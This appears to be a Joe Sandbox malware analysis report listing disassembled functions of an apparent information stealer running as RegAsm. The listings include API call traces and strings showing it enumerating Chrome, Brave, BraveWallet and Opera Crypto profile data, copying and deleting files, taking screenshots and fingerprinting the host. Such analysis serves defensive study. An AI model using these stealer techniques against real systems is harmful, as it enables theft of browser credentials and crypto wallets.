Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$CloseHandlelstrcpy$HeapHttpRequestlstrcat$AllocateConnectFileOpenOptionProcessReadSendSystemTime
String ID: "$"$"$------$------$------$------$4b4d1b9e209e656d32d6b94f658903b1$build_id$mode
API String ID: 175572311-2674449864
Opcode ID: 10c90ce347dd61e05f2adfffe52ef2e80914c2808dbbafc3837ec3de3284c9f1
Instruction ID: 86e6a9af6186b6616db17df674d739fe7f06d930205cd1e6e35fdc9e9b470e1f
Opcode Fuzzy Hash: 10c90ce347dd61e05f2adfffe52ef2e80914c2808dbbafc3837ec3de3284c9f1
Instruction Fuzzy Hash: D512A971D001699BCF61EB61CD46BCCB774AF04308F1145E6A60DB3162CAB96FDA8F94

Function 00409BD4 Relevance: 40.9, APIs: 18, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

FindFirstFileA.KERNEL32(?,?,004357EA,004357E7,004362C8,004357E6), ref: 00409C7E
StrCmpCA.SHLWAPI(?,004362CC), ref: 00409C9F
StrCmpCA.SHLWAPI(?,004362D0), ref: 00409CB9

Part of subcall function 00410401: lstrlen.KERNEL32(?,?,0040672B,004359BB), ref: 00410407
Part of subcall function 00410401: lstrcpy.KERNEL32(00000000,00000000), ref: 00410439

StrCmpCA.SHLWAPI(?,Opera GX,004362D4,?,004357EB), ref: 00409D4B
StrCmpCA.SHLWAPI(?,Brave,004362F4,004362F8,004362D4,?,004357EB), ref: 00409ECD
StrCmpCA.SHLWAPI(?,Preferences), ref: 00409EE7
StrCmpCA.SHLWAPI(?), ref: 0040A0B4
StrCmpCA.SHLWAPI(?), ref: 0040A11E
StrCmpCA.SHLWAPI(?), ref: 0040A131

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

StrCmpCA.SHLWAPI(?), ref: 0040A214
CopyFileA.KERNEL32(?,?,00000001,00436330,004357F2), ref: 0040A2D4
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A379
DeleteFileA.KERNEL32(?), ref: 0040A3DA

Part of subcall function 00408CD3: lstrlen.KERNEL32(?), ref: 00408ECC
Part of subcall function 00408CD3: lstrlen.KERNEL32(?), ref: 00408EE7

Part of subcall function 00409441: lstrlen.KERNEL32(?), ref: 00409847
Part of subcall function 00409441: lstrlen.KERNEL32(?), ref: 00409862

StrCmpCA.SHLWAPI(?), ref: 0040A40B
CopyFileA.KERNEL32(?,?,00000001,00436344,004357F3), ref: 0040A4CB
DeleteFileA.KERNEL32(?), ref: 0040A562

Part of subcall function 00411B02: GetSystemTime.KERNEL32(?,0043579A), ref: 00411B31

FindNextFileA.KERNELBASE(?,?), ref: 0040A626
FindClose.KERNEL32(?), ref: 0040A63A

Strings

\BraveWallet\Preferences, xrefs: 00409FBD
Preferences, xrefs: 00409EDB
Opera GX, xrefs: 00409D43
Google Chrome, xrefs: 0040A371
Brave, xrefs: 00409EC5

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpylstrlen$Find$CopyDeletelstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 3650549319-1189830961
Opcode ID: b502c5a164a872fea8e7fe3fb5df268f19c4806a890e7d0e39d131a6939af7c6
Instruction ID: b70dd486c00dd04d80e0a4f2c806edd1a799c57f4308ce70b119f275321fa993
Opcode Fuzzy Hash: b502c5a164a872fea8e7fe3fb5df268f19c4806a890e7d0e39d131a6939af7c6
Instruction Fuzzy Hash: 3D42ED319001299BCF21FB66DD46ACD7775AF04308F4105A6F908B31A1DBB9AFD98F89

Function 0041482C Relevance: 35.3, APIs: 16, Strings: 4, Instructions: 297
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414880
FindFirstFileA.KERNEL32(?,?), ref: 00414897
StrCmpCA.SHLWAPI(?,004359C8), ref: 004148E5
StrCmpCA.SHLWAPI(?,004359CC), ref: 004148FF
wsprintfA.USER32 ref: 00414926
StrCmpCA.SHLWAPI(?,004355FE), ref: 0041493A
wsprintfA.USER32 ref: 00414963
wsprintfA.USER32 ref: 0041497A

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

lstrcat.KERNEL32(?,?), ref: 004149A1
strtok_s.MSVCRT ref: 004149E6
lstrcat.KERNEL32(?,?), ref: 00414A0D
strtok_s.MSVCRT ref: 00414A26
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414A3B
strtok_s.MSVCRT ref: 00414B4B
FindNextFileA.KERNELBASE(000000FF,?), ref: 00414C69
FindClose.KERNEL32(000000FF), ref: 00414C89

Strings

%s\%s, xrefs: 00414920
%s\%s, xrefs: 00414974
%s\*.*, xrefs: 00414874
%s\%s\%s, xrefs: 0041495D

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcatwsprintf$Findlstrcpystrtok_s$File$CloseFirstMatchNextPathSpeclstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 2146133389-332874205
Opcode ID: cb413d7de10c56d9274e51b47d7163c148542210e3c5a43d5afb7aa6ca8b5728
Instruction ID: 9c8008fc94cb31d583e0ada5bee8e59f112713f4d4d066c15b87884e5ea5fb47
Opcode Fuzzy Hash: cb413d7de10c56d9274e51b47d7163c148542210e3c5a43d5afb7aa6ca8b5728
Instruction Fuzzy Hash: FBC14DB1E0011AABCF21AB65DD45AEE777DAF44304F0100B6FA09B3151DB79AF858F98

Function 00415B0D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 205
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00415B54
FindFirstFileA.KERNEL32(?,?), ref: 00415B6B
StrCmpCA.SHLWAPI(?,00435A84), ref: 00415B8C
StrCmpCA.SHLWAPI(?,00435A88), ref: 00415BA6
wsprintfA.USER32 ref: 00415BCD
StrCmpCA.SHLWAPI(?,00435633), ref: 00415BE1
wsprintfA.USER32 ref: 00415BFE
wsprintfA.USER32 ref: 00415C15
PathMatchSpecA.SHLWAPI(?,?), ref: 00415C2B
lstrcat.KERNEL32(?), ref: 00415C61
lstrcat.KERNEL32(?,00435AA0), ref: 00415C73
lstrcat.KERNEL32(?,?), ref: 00415C86
lstrcat.KERNEL32(?,00435AA4), ref: 00415C98
lstrcat.KERNEL32(?,?), ref: 00415CAC
FindNextFileA.KERNEL32(?,?), ref: 00415E3B
FindClose.KERNEL32(?), ref: 00415E4F

Strings

%s\%s, xrefs: 00415C0F
%s\%s, xrefs: 00415BC7
%s\*, xrefs: 00415B48

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$File$CloseFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 3541214880-445461498
Opcode ID: 4088e4ae91a8100644a10ea153c9947d0f4e173308ee121cdd7db188e824244e
Instruction ID: 12dd8a6eb0f165e3e822cf533851ec79d19c9fa99c75071690e46c6dd77d0e01
Opcode Fuzzy Hash: 4088e4ae91a8100644a10ea153c9947d0f4e173308ee121cdd7db188e824244e
Instruction Fuzzy Hash: 7D813671D0022DDBCF20EB65CD89ACAB7B9BF08304F0095A6E549A3151DF79AAC58FC4

Function 00411E0D Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411E4E
GetDesktopWindow.USER32 ref: 00411E5C
GetWindowRect.USER32(00000000,?), ref: 00411E69
GetDC.USER32(00000000), ref: 00411E70
CreateCompatibleDC.GDI32(00000000), ref: 00411E79
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411E89
SelectObject.GDI32(?,00000000), ref: 00411E96
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411EB2
GetHGlobalFromStream.COMBASE(?,?), ref: 00411F01
GlobalLock.KERNEL32(?), ref: 00411F0A
GlobalSize.KERNEL32(?), ref: 00411F16

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

SelectObject.GDI32(?,?), ref: 00411F74
DeleteObject.GDI32(?), ref: 00411F8F
DeleteObject.GDI32(?), ref: 00411F98
ReleaseDC.USER32(00000000,00000000), ref: 00411FA0
CloseWindow.USER32(00000000), ref: 00411FA7

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromLockRectReleaseSize
String ID:
API String ID: 1874324519-0
Opcode ID: a72380b2422d198ee6c1f2cf633970af4e205955860c903da616a1f35fde4eda
Instruction ID: 294fe315a8c37c22a4eff025f7852995a8df7b6fe7ce8076bfbf48169e3cec3c
Opcode Fuzzy Hash: a72380b2422d198ee6c1f2cf633970af4e205955860c903da616a1f35fde4eda
Instruction Fuzzy Hash: 7551E4B2D00108BFDF11AFB5ED499EEBB7AEF08311F105026F906E2160DB359955DBA1

Function 00414FA1 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00414FCE
FindFirstFileA.KERNEL32(?,?), ref: 00414FE5
StrCmpCA.SHLWAPI(?,00435A50), ref: 00415006
StrCmpCA.SHLWAPI(?,00435A54), ref: 00415020
lstrcat.KERNEL32(?), ref: 00415071
lstrcat.KERNEL32(?), ref: 00415084
lstrcat.KERNEL32(?,?), ref: 00415098
lstrcat.KERNEL32(?,?), ref: 004150AB
lstrcat.KERNEL32(?,00435A58), ref: 004150BD
lstrcat.KERNEL32(?,?), ref: 004150D1

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 00407F9E: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407FB9
Part of subcall function 00407F9E: GetFileSizeEx.KERNEL32(00000000,?), ref: 00407FD0
Part of subcall function 00407F9E: LocalAlloc.KERNEL32(00000040,?), ref: 00407FE7
Part of subcall function 00407F9E: ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 00407FFE
Part of subcall function 00407F9E: CloseHandle.KERNEL32(?), ref: 00408026

FindNextFileA.KERNEL32(?,?), ref: 00415187
FindClose.KERNEL32(?), ref: 0041519B

Strings

%s\%s, xrefs: 00414FC2

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$Close$AllocCreateFirstHandleLocalNextReadSizelstrcpywsprintf
String ID: %s\%s
API String ID: 457158367-4073750446
Opcode ID: e2b22a186b0c1ae4c553391a138032b57be8707b8a174d7ad2f73ac7169948db
Instruction ID: bfe7466cf6d68eb909f1592dd45fea2641b145ef7a640d56d906b11289a6eb3f
Opcode Fuzzy Hash: e2b22a186b0c1ae4c553391a138032b57be8707b8a174d7ad2f73ac7169948db
Instruction Fuzzy Hash: 7A513DB1D0011D9BCF60DB64DD89AC9B7BDAF48304F1015EAA609E3250EB359BC9CF69

Function 1FEC4CF0 Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 461fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,-00000003,04000102,00000000), ref: 1FEC4EE1

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 1FEC4FB5
psow, xrefs: 1FEC51F5
winOpen, xrefs: 1FEC5110
exclusive, xrefs: 1FEC4E81

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: CreateFile
String ID: delayed %dms for lock/sharing conflict at line %d$exclusive$psow$winOpen
API String ID: 823142352-3829269058
Opcode ID: e6bfd27096f790b109c1836a625074861e391c3d53e99518a0d5ad9b07afd5c7
Instruction ID: 9c69c7b8fe16a37b0c7283699bb1f494ca0e67b925b81b89157634073d90706d
Opcode Fuzzy Hash: e6bfd27096f790b109c1836a625074861e391c3d53e99518a0d5ad9b07afd5c7
Instruction Fuzzy Hash: D0F1B2719087019FF714CF64CE89B5A77E4BB88318F00092DF945C72A1EB39E944EB92

Function 0040BE05 Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

FindFirstFileA.KERNEL32(?,?,\*.*,00435836), ref: 0040BE7D
StrCmpCA.SHLWAPI(?,00436414), ref: 0040BE9D
StrCmpCA.SHLWAPI(?,00436418), ref: 0040BEB7
StrCmpCA.SHLWAPI(?,Opera,00435857,0043584F,0043584B,00435843,00435842,0043583F,00435837), ref: 0040BF43
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040BF51
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040BF5F

Strings

Opera, xrefs: 0040BF3B
Opera Crypto, xrefs: 0040BF57
Opera GX, xrefs: 0040BF49
\*.*, xrefs: 0040BE2B

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: a43f894cb916c4683f0812a9c1ce74702fb75321ffd1718557f3a02d224aa279
Instruction ID: b4de92d95565aa18d4d7466277f53e9f8d78a719d1a55b2b3db25305aeec2c44
Opcode Fuzzy Hash: a43f894cb916c4683f0812a9c1ce74702fb75321ffd1718557f3a02d224aa279
Instruction Fuzzy Hash: 6A02D971E001299BCF60FB26DD866CD7370AF44308F5145A6A908B31A2DBB96FD58FC9

Function 0041085A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0041088D
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004108CD
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410922
RtlAllocateHeap.NTDLL(00000000), ref: 00410929
wsprintfA.USER32 ref: 0041095F
lstrcat.KERNEL32(00000000,00435E0C), ref: 0041096E

Part of subcall function 0041153C: GetCurrentHwProfileA.ADVAPI32(?), ref: 00411557
Part of subcall function 0041153C: lstrcat.KERNEL32(?,00000000), ref: 004115AE
Part of subcall function 0041153C: lstrcat.KERNEL32(?,00435E9C), ref: 004115CB

lstrlen.KERNEL32(?), ref: 00410985

Part of subcall function 0041228F: malloc.MSVCRT ref: 00412294
Part of subcall function 0041228F: strncpy.MSVCRT ref: 004122A5

lstrcat.KERNEL32(00000000,00000000), ref: 004109A8

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Strings

:\, xrefs: 004108BE
QuBi, xrefs: 004108DF
C, xrefs: 00410897

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
